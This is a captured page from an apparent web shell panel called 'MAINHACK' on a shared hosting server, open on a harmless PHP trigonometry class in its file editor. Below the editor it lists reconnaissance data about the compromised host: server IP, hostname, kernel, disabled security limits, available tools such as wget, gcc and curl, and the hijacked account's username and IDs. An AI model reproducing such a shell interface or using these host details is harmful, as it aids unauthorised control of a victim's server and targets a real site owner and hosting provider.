[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Trig.php
<?php /** * Created by: Jon Lawrence on 2015-07-02 3:10 PM */ namespace jlawrence\eos; /** * Class Trig * @package jlawrence\Math * * Trig functions, primarily because there's a difference when dealing with * radians and degrees, and this class will help with that - defaulting * to radians, but allowing the default to be set to degrees for the * project. Thus simplifying the amount of calculations the user * of this project needs to do. */ class Trig { /** * @var bool Whether or not to convert to radians before calculation * (Meaning input is in degree form) */ public static $DEGREES = false; protected static function getRadDeg($x) { if(self::$DEGREES == true) { return deg2rad($x); } return $x; } public static function cos($x) { return cos(self::getRadDeg($x)); } public static function sin($x) { return sin(self::getRadDeg($x)); } public static function tan($x) { return tan(self::getRadDeg($x)); } public static function sec($x) { $tmp = self::cos($x); if($tmp == 0) throw new \Exception("Division by 0 on: 'sec({$x}) = 1/cos({$x})' in ". Parser::$inFix, Math::E_DIV_ZERO); return 1/$tmp; } public static function csc($x) { $tmp = self::sin($x); if($tmp == 0) throw new \Exception("Division by 0 on: 'csc({$x})) = 1/sin({$x})' in ". Parser::$inFix, Math::E_DIV_ZERO); return 1/$tmp; } public static function cot($x) { $tmp = self::tan($x); if($tmp == 0) throw new \Exception("Division by 0 on: 'cot({$x})) = 1/tan({$x})' in ". Parser::$inFix, Math::E_DIV_ZERO); return 1/$tmp; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium56.web-hosting.com
Server IP: 198.54.119.70
PHP Version: 8.2.30
Server Software: LiteSpeed
System: Linux premium56.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 70.74 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: bkunreyz
User ID (UID): 830
Group ID (GID): 826
Script Owner UID: 830
Current Dir Owner: 830